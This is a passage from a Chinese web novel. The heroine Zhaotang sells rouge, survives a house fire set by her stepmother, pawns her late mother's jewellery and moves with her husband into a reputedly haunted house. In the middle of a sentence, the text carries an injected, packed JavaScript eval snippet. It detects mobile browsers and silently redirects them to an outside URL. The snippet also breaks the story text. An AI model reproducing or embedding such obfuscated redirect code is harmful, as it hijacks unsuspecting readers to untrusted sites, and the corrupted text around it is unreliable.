昭棠正欲开口,路海却向着昭棠说道:“棠儿三年前便失了母亲,与你不同,你身为嫡子,家中吃穿用度哪一样少了你?若是你还有一丝仁心的话,在婚事上让棠儿自己做主也并无不可。” 明川噎住话头。 路海又道:“若我没记错,你拿了鞭子要抽明业吧,你年岁虚长明业两岁,便敢用家法打他?明知家规还私用家法,是谁给你的权利?我看改日你都敢直接动手抽苏姨娘!” 杜氏忙道:“老爷,明川不是故意的,就是一时气急才......” 昭棠道:“爹,在我进门之前,二哥手上便执着皮鞭。” 路海道:“明川,你还有何话可说?” 杜氏道:“老爷,明川也是无奈之举。发生这等事情,老爷都不严加训导,只怕假以时日,飞远镖局的招牌,被苏姨娘母子二人拖进泥潭!” “飞远镖局的招牌。”路海口中沉吟道,“苏姨娘嫁进路家多年,从未在我面前提过这几个字,我便是不知,这招牌到底是谁在惦记?” 路海语气颇重,话一出口,杜氏原本得意的面颊顿时脸色煞白,僵在原地。 路海又道:“来人,明川私自动用家法,杜氏挑衅滋事,将她二人关在宅中禁足!” “老爷!”杜氏急切跪地拉住路海的衣角,心怀不甘地祈求道。 “不过明业,你与叶洳二人,日后定要避嫌,否则内门之间的话头迟早传到外头去!”路海扔下一句话,转头步出祠堂。 10. 失火 杜氏的一番挑事草草落下帷幕,无人打扰,昭棠在路家的日子也乐得自在。 屋内案几上摆放着满满一排正红、粉红、橘红色胭脂,胭脂制成后,昭棠便将其放入裴栖迟临行前雕刻的雕花木盒内。 经过上次失火一事,昭棠为防秘方丢失,已经将秘方背了个七七八八,秘方中的胭脂有粉状、膏状和片状,昭棠将柳姨娘秘方上的膏状胭脂全部做了一遍,发现自己几乎可以复刻大多数,只有少部分还缺少些材料,加上香料不够齐全,难以像秘方中尽善尽美,制胭脂讲究熟能生巧,昭棠也不强求。 昭棠将胭脂盒寻了个地方妥帖安置好,看了看屋外晨曦穿过窗棂的微光,裴栖迟不知被山上什么事拖住了,几日都不曾回。 昭棠扫了一眼内室,看到那些晾干的红花,闻起来还带有怡人的暗香,见时间尚早,昭棠便心血来潮制作起香囊。 红花板板正正收入香囊内,昭棠从柳姨娘的妆匣中又翻出个琉璃珠子来,缝到香囊上。 昭棠想起裴栖迟雕刻的云纹,心细工整,便觉这样不够,她拿出彩色的丝线,绣上一个福字。 昭棠自小学的是武,绣工实是拿不出手,看着歪歪扭扭的福字,用彩色的丝线凑合看着还挺像那么回事,昭棠满意笑笑,这花青色的香囊看着倒与他相称,红花香气怡人,加上藿香的味道,就是不知道裴栖迟是否会闻腻了藿香的味道, 做完香囊昭棠便外出兜售胭脂膏,胭脂摊设在东市,昭棠将正红、粉红、橘红色三色胭脂依次排开。 东街在云州城很是热闹,胭脂摊也格外的多,但昭棠摊子上一排排小巧精致的木盒还是没来由地吸引了众人的目光。 “小娘子,你这胭脂看着倒是新鲜。”身穿淡蓝色罗裙的女子望着胭脂盒走来,目光扫过木盒,嘴唇染笑,“这木盒倒是雕得好看。” 昭棠笑道:“这木盒是我夫君雕的。” “你夫君倒有双巧手,不知胭脂可好?” 昭棠蘸取粉红色胭脂抹在手背处,甜甜笑着:“你瞧,这是桃花花瓣制成,芳菲尽后桃花开,这桃花绛雪成妆,任其凋零地落在地上,岂不可惜?用这桃花趁着姐姐的粉靥,实乃妙哉。” 女子听完这一番话,脸色红润,她掀开木盒,胭脂膏泛着光泽,捻起柔粉晕染在脸颊,原本清秀的面容多了三分娇柔。 “可好看?”女子问道。 穿鹅黄襦裙的少女凑热闹般地拨开人群,望着女子,兴奋说道:“姐姐,这粉色胭脂膏与姐姐正相称,愈发衬得姐姐肤如凝脂,连春日的梨花都要逊色三分!” 女子面露羞赧。 待淡蓝罗裙的女子拿着胭脂膏款步离去,少女对着胭脂盒直摇头:"颜色虽美,可我若抹着回家,定要被阿娘骂。” 昭棠打开橘红色胭脂:“妹妹不妨试试这个颜色,倒是与你的年纪相配。” 少女接过云镜,笑开了花:“我还未见过此等颜色的胭脂。” 橘色胭脂膏拂在颊上,添上些许活力。 “方才那位姐姐涂抹的胭脂膏是用桃花做的,这又是什么花做的?”少女好奇问道。 “妹妹可知一种萝卜,因产于西域,通身金黄色,碾碎融入花汁中便可制成如此颜色。” “这萝卜可是花?”少女圆眼微微睁大,懵懂地看向昭棠。 昭棠浅浅一笑:“乃是一种蔬菜,用于菜肴。” 少女双眼灵动,闪过一抹狡黠:“倒是有趣。” 少女摸着发烫的脸颊,将钱递给昭棠,忽然扯开嗓子吆喝:“云州城独一份的秘制胭脂,便宜又好看,快来买呀!” 一瞬间,女子们驻足过来,将昭棠胭脂摊团团围住。 一个男子也步行而至:“我给我家娘子买一个。” 昭棠问道:“不知你家娘子年岁几何?” 男子道:“今日便是刚出了月子,我打算买些胭脂水粉回家,哄娘子开心。” “不知你家娘子肤色如何?” “便跟......”他略微沉吟,“小娘子差不多。” 昭棠拿出橘红色的那盒胭脂:“这个颜色市集上还比较少见,你娘子定会欢喜。” “橘红色?我要一个。” 没一会儿功夫,昭棠的胭脂摊便空了。 昭棠没留意到,不远处,牙子正站在街角慢悠悠踱步,眯起眼睛静静打量着昭棠的方向。 昭棠将今日挣取的银子装进钱袋子里,撤了摊缓步往回走。 夜色渐起,昭棠路过湖边,三三两两的行人走过湖中心的桥,有身着官袍忙完公事匆匆赶回家的,有趁着夜色在市集内逛街的,还有年纪尚轻的新婚夫妇,在湖边打情骂俏。 昭棠心中泛起涟漪,若是赶上花灯节,定会更加热闹。 昭棠不由想到,若是裴栖迟回来,她定要第一时间将香囊递给他。 - 夜色深沉,树叶随风在枝梢摇曳飘舞,“沙沙”的声音宛如在低声絮语。 “走水了,走水了!” 昭棠睡得熟,直到一声噼里啪啦的脆响,院外丫鬟尖锐的叫喊声响起,昭棠才醒过来。 还未睁开眼,便闻到一股烧焦的味道,昭棠强撑着睁开微朦的双眼,屋内榻上、窗纱,还有木椅全部被火苗舔舐。 眼见火苗向上攀涨,如同要致人死地的毒蛇一般吐着信子,昭棠的神智终于彻底清醒。 不好! 来不及忧心被湮没在火苗里的其他物品,昭棠即刻身着亵衣下床,顾不得披上外衫,匆促到床头翻找柳姨娘的妆匣。 柳姨娘留下的全部贵重物品以及胭脂秘方便存在这妆匣内,见妆匣无事,昭棠才松了口气,得益于她的好习惯,这妆匣从不离床太远。 房梁轰然倒塌,终是不堪重负地砸落在昭棠眼前,昭棠本能地抬手遮挡,却被扑面而来的热浪呛得剧烈咳嗽,散乱的青丝粘住汗湿的脸颊。 找寻妆匣的瞬间,却是耽误了离开的时机,呼吸渐渐被夺走,浓烟缠住咽喉,她眼前阵阵发黑,感到双腿发软,随即跪倒在地。 昭棠感觉意识逐渐模糊之前,熟悉的松针香混着硝烟涌入鼻腔,一双有力的手护住了她的腰,将她凌空抱起,冲出了层层烈火围攻的法场。 丫鬟小厮们拎着木桶跌跌撞撞地来回奔忙救火,泼出去的水转瞬便被烈火吞噬,院子里梁柱从中间烧开来,落到地上发出闷响,窗棂扭曲变形。 “香囊!”昭棠惊呼出声。 昭棠便要往火场里冲。 裴栖迟快一步揽住她的肩膀,紧紧攥住她的手。 昭棠的目光撞进裴栖迟被火光映得通红的眸子,他的眸子里面盛满了焦急,几乎快要溢出。 相识这些时日,昭棠便是第一次见他向来平淡如波的眼眸带上焦急,下颌更是紧紧绷着。 火光激烈的燃烧,下人们行走的脚步声,似乎都消散开来,变成灰色的影子,只有眼前的人才有亮色。 他的声音开始抖:昭棠,你冷静些,你知不知道你差点被烧......” 成亲许久,这是他第一次直呼她的名字。 最后一个字终于被剧烈的响声冲散,昭棠已然直到他想要说的是什么,她的意识彻底清醒过来。 等到下人将火完全扑灭,空气中传来浑浊的烟熏味,昭棠将怀里抱着的妆匣塞进裴栖迟手中,婉言安抚道。 “我去寻个东西,马上便回来。” 女子侧身坐在窗边,窗外清风拂过,吹动柳姨娘发间的翠羽步摇微微摇晃,那双春水般的眸子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464287|169790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从来都是笑意盈盈得望着昭棠。 “棠儿,怎生如此不小心?”女子望着昭棠磕破的白嫩小腿,蹙起眉心,那是昭棠练习木剑时冲力太大,跌落在地时磕伤留下的伤疤。 昭棠小小的身体站着,眉眼透露出倔强:“这点小伤,不碍事。” 柳姨娘宠溺道:“你爹教你习武是好事,只是女孩子家还是不要太过劳累,练习的差不多便要休息一会儿,知道吗?” 柳姨娘一边说着一边拿出纱布为昭棠处理伤口。 柳姨娘的身上总是带着若有若无的馨香,这股沁香填满了小昭棠的鼻尖。 奶奶的声音响起:“棠儿知道了,娘。” 素手轻抬时,女子腕间的羊脂玉镯轻碰着檀木梳,发出清脆的声响,绣着金丝的袖口温柔落向昭棠的发顶,指着案上放置的楠木缠枝食盒。 女子声音轻柔道:“棠儿,这酥琼叶还是热乎的,快来吃啊!” 她掀开食盒,香蜜盈在金黄的酥油上,蒸腾的香气仿若一团薄雾,映进昭棠的眼底。 柳姨娘的院子里总是布满了各种奇异香味,幽兰香裹挟着茉莉的清冽,金桂的芬芳吹散满院,龙脑香掺和着檀香更是将院内增添了丝丝绵长的清韵。 思绪翻转,刺鼻的焦糊味袭向鼻尖,墙壁上铺盖着灰烬,熊熊燃烧的烈火仿若还直冲屋顶横梁。 昭棠回到屋内,一切都变了模样,她脑海中恍若重现柳姨娘昔日的音容笑貌,记忆中,柳姨娘从来都是温柔婉约,不曾对她说过一句重话,也为了一隅安生,在路家隐忍多年。 此刻,昭棠才后知后觉地意识到,记忆里的温情和芬芳化成了齑粉,似乎被这一场无名之火带走了。 裴栖迟见昭棠久久未出,便跟随进入屋中,只见昭棠秀发披散垂落在腰间,孤身立于破败的屋内。 昭棠掌心攥住的香囊四角已被烧得发黑,琉璃珠子还定定地系在香囊之上,内部填充的花瓣也散落开来,只留下隐隐若现的花香味,香囊上彩色细线绣着的福字也已然开线。 昭棠捏着香囊,走出屋门,准备将香囊扔到乱成一片废墟的屋角。 裴栖迟领先一步接过昭棠手中的香囊。 昭棠眼底泛起红晕,仿佛是哭过,又好像根本一滴泪都没流。 四目相对,裴栖迟心有领悟,温柔道:“给我吧,这本就不是你想送我的吗?” 昭棠脑中似乎糊满了浆糊,眨了眨无神的双眼,缓了半天,才理解裴栖迟所说何意。 “可它......” “我会让它恢复如初的,你信我。” 没去理会香囊如何才能复原,裴栖迟眼中的笃定,无声抑制住昭棠内心发酵的酸意。 他道:“是我的错,是我回来晚了。” 昭棠缓缓摇头。 女子的脸被汗湿,青丝一缕缕粘在面颊和脖颈处,只那一双杏色的眼眸还亮着,心中那丝理智唤起。 她定定道:“你愿意随我离开路家吗?” 细碎的星光在昭棠眼底流转,眼底深处翻涌的倔强,似如永不熄灭的火苗,裴栖迟知道这才是昭棠内心的本色。 裴栖迟点点头:“自然。” 他愿意离开黑风寨来到路家,自然也愿意随昭棠离开路家。 昭棠倏然之间想起什么:“对了!” 她翻找床底下曾经依此摆放好的物品,此时几乎已经烧焦,留下一片焦黑色,未燃尽的残屑隐约现出火光。 裴栖迟随手拿起一枝木棍,将残屑挑开。 昭棠指尖在存留烫意的灰烬中拨弄,锁住木箱子的铜锁已然变型,碎布边缘卷起毛边。 昭棠拿过散落在箱顶的碎片,原以为会看到烧焦到乌黑的银子,却没料到,木箱里面早已是空空如也。 11. 入住凶宅 敲击铜锣的打更声,在空巷里荡出回音。 当铺门被风倏然刮开,门环撞出巨大的声响,昭棠收起掌风,怀中抱着柳姨娘留下的妆匣,大步迈进去。 当铺掌柜金寿从香甜的睡梦中惊醒,内室传来窸窣响动,骂骂咧咧:“深更半夜砸门,门板坏了可要......” “掌柜的,出来看看,这些值多少钱!” 来人披散的长发垂至腰间,面颊上被熏得乌黑,辨不出原本姣好明艳的容貌,只那声线倒是清晰的很。 金寿的话音戛然而止,仅凭声音便认出昭棠,衣带还来不及拉好,匆匆从内室窜出,无他,只是昭棠留给他内心的阴影太重了。 十三四岁,还没接掌家中当铺事务之时,他在城中大街小巷斗鸡走狗,游手好闲之时,曾经欺负过身为乞儿的江宵,却被路过的昭棠好一顿毒打。 偏偏她还举着拳头威胁不让他将此事告知爹娘,哭哭啼啼鼻青脸肿回家,着实委屈,还不敢跟家里人说实话,只说是在外面玩摔到狗洞里了。 谁知道他惹得人是江宵,那少年衣衫褴褛,衣服上溅着黑泥点子,头发从中断开,披散到肩膀,瘦削的下巴尖的就像个锥子,唯独露出一双楚楚可怜的眼睛,一双不怀好意之人只知欺负的眼,活像个乞丐。 后来他才知道,这江宵是江知县在外沾染之后留下的祸根,年岁大了,省得任人在外受欺凌,诬了知县的名声,才将其母子接进江家。 谁知,进了江家之后,他的才能越发出色,江知县也发觉这孩子的天赋之处,对他好极,经常派他外出办事,一来二去,两人还成了朋友。 昭棠开门见山,把妆匣里的首饰珠宝一股脑摊在桌子上:“废话少说,看看里面的东西值多少钱?” “这不是柳姨娘的首饰吗?你怎舍得......” 话音未落,又看向昭棠一脸的乌黑,金寿嘴张的颇大:“哎哟,棠娘子,你这是如何搞的?路家失火了?” 昭棠神色淡然:“我那院子被嫡母派的人放火烧了。” 杜氏一向对昭棠母子都谈不上好言相处,杜氏虽刁钻刻薄了些,旁人倒也还能理解,毕竟是靠着嫁妆一把扶持着夫君做起一番事业,夫君事业起来后,像寻常男子那般纳了妾,一手架起的城墙最终却要与她人分享,怎能不生疯狂之心。 只柳姨娘还算得路海的喜爱,娘俩十几年来在路家日子过得还算不错,可偏偏柳姨娘在三年前去了。 金寿往日里只知杜氏跋扈自我,却未晓得杜氏还有杀人放火之意。 “杜氏怎能做出如此下流之事?”金寿问道。 柳姨娘的陪嫁,还有在路家十来年路海赠与的翡翠珠环、羊脂玉镯、金钗步摇如同往日般光泽艳丽。 昭棠凝视着梨木柜台上的首饰,压了压眼底的情绪:“先点点首饰。” 金寿眼尖先看到那羊脂玉镯,质地细腻,莹润无暇,一众饰品中最值钱的便是这个,金寿微敛住心思:“你这首饰,我给你十两银子。” “你确定?”梨木柜台闷响,昭棠足尖踏上桌子,秀眉微挑。 金寿心上颤了颤,伸出两只手指道:“二十两......” “嗯?”昭棠掌心轻轻移向脖颈,在围帘边带起一阵风。 金寿大喊:“慢......三十两,不能再多了!” 昭棠:“你可知城西鬼宅要多少银两?” 金寿纳闷:“你问那鬼宅作甚?” “你说银两便是。” “那鬼宅死了人,一直挂着哪有人敢买,能卖出三十两便是不错了,不过若是二十两应当也能入手。” 昭棠站直身体,道:“把首饰给我留着,假以时日我再来取!” 金寿嘻嘻笑着:“棠娘子放心,我找个压箱底的地方给你收着,连我家娘子都不让知晓。” 等昭棠出了当铺的门,金寿才后知后觉到,昭棠是要买那城西鬼宅! 不过她身后那男子,自始至终未曾言语半句,一身白衣粗袍,不仅看不出丝毫穷酸,反而还衬得那人身型清冷如玉,金寿拍了拍脑袋瓜,那人应是昭棠为自己寻来的夫君。 昭棠无视嫡母之意,逃脱婚约,到黑风寨强娶了一个男子,此事已成为州城人尽皆知之事。 城中女子知晓此事后,多数夸赞昭棠有胆有识,大胆与城南郭商人解除亲事,做出其他女子不敢做出之事。只这郭大商人虽是云州城中富商,却不行仁义之事,家事乱到在云州城的大街小巷传开来,更少有女子愿嫁进郭家为妾。 世人皆知昭棠是有胆识,他金寿早就知道她也就表面看似温顺,内心却是藏着铮铮铁骨,骨子里自有一分执拗。 那羊脂玉镯,他自是不敢动。 据说昭棠那夫君面如冠玉,气宇不凡。如今一见,比之传言还要胜上三分。 金寿叹了口气,只怕江宵知道了后,心里定不能舒坦。 裴栖迟随昭棠出了当铺,女子手垂在两侧,外表风平浪静。 “柳姨娘的妆匣娘子便这样给他了?”裴栖迟开口问道。 昭棠答道:“金寿虽然浑了点,但人不坏,妆匣放他那我也能放心,夫君虽愿为我出银钱,但夫君在黑风寨生活也算不上富裕,日后我们离了路家过日子,样样都要花钱,自然不能随意使用。” “方才你问那鬼宅是何意?”他只知昭棠已是寻好住处,并未得知还发生这样一桩事。 “那鬼宅死了人,兜售不出,眼下的状况这鬼宅当是非住不可了,夫君可是不愿?” 初晨十分,朝霞的霞光围绕在两人周身,昭棠抬起脸望向他,眸子明亮动人。 “怎会不愿?夫君听娘子安排。” 昭棠甜笑道:“那好,若是真的见到鬼,我们谁也不许走!” “娘子可是相信世上有鬼?” 昭棠一笑,转了个身,将脸凑近裴栖迟面前:“骗你的,世上岂能有鬼?鬼样貌丑陋,令人心怀畏惧,曼陀罗花美丽可人,却有剧毒。” 裴栖迟道:“可见,与其听信人言,不如亲眼去验证一番。” 裴栖迟手掌轻轻拭去昭棠面颊上染上的乌黑,女子的脸恢复白皙。 裴栖迟温柔道:“我们便先到宅子中安置下来吧。” 两人慢慢往前走去,影子被拉的细长,打在枝叶繁茂的梧桐树上,掠过街道的青石板路。 青石阶前垂着两株老槐树,绿砖配着灰白色围墙,衬得宅子古朴雅致。 昭棠推开门欣喜道:“倒是与我想象的不同,这闹鬼凶宅与外界传言并非一致,从外到内与新宅无异。” 裴栖迟道:“看这崭新的样子,那小妾没住多久便自尽了,倒是可惜了。” 虽说有着闹鬼的疑云,好便好在,这宅子非常大 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裴栖迟站起身,饶有兴致地望着她施展轻功。只见昭棠借着假山的高度,掌风将杂草凝聚成草浪,劲风如刀,草茎应声而断,碎叶在空中零星飘落,庭院现出一条整齐小径来。 裴栖迟笑着打趣:“这功夫用到这上,似是浪费。” 昭棠望着这篇风卷残云的碎草小径,神情灵动地道:“只要用能用得上的地方便不叫浪费。” 裴栖迟道:“传言宅中有鬼,现在看来倒是安静得很。” “我自是不信的,鬼没有嘴,不会说话,不用吃饭,哪像人那般事事都要盘算一番。” “比如杜大娘子?” “杜氏算计多年,只是我属实没料到她会要我的命。”空气中陷入安静,看着裴栖迟犹豫的面颊,昭棠道,“你觉得杜氏行事不留余地?” “娘子可知,多行不义必自毙的道理。” 昭棠略微沉吟:“此事最是难办,哪怕我心知火烧宅院一事,是杜氏所做,也无从奈何她。” 裴栖迟摇摇头,他母亲出身灵寿韩氏,嫁的又是当朝名门望族,大家族中的勾心斗角更是常态。那时,他冒着硝烟走进火场,胸膛中有什么东西怦怦直跳,也像是着了火。 “我只是担忧你陷入如此处境,我若能提早预料,便不会回到黑风寨,好在,你安然无恙。” “只是,爹给的嫁妆不见了,应是被嫡母派人偷去了。” 昭棠摸了摸钱袋子里还剩的十两银子,缓缓吸了口气,环视了一圈干净整洁的庭院,心中顿感欢畅:“我娘曾说钱乃身外之物,没了挣便是,只好委屈夫君了。” “这么大的宅邸就你我二人居住,怎能称得上委屈?为夫还要感谢娘子才是。” 裴栖迟看向昭棠随意披散在腰间的发丝,从袖口中取出一枚簪子来。 昭棠迟疑道:“这是......” “昨日我在集市上见到,便觉好看,所以买下来准备送给娘子,哪知院中遇了火灾,便耽搁了。” 那枚玉簪造型别致,簪头以和田羊脂玉雕刻成展翅欲飞的凤鸟,凤羽纤毫毕现,羽毛处还缀着细小的银箔,看起来好像展翅欲飞,与裴栖迟发间的像是一对。 单看做工便不是常物,若说是在集市中随意碰到,未免牵强。 裴栖迟满意笑笑:“这玉簪很衬你。”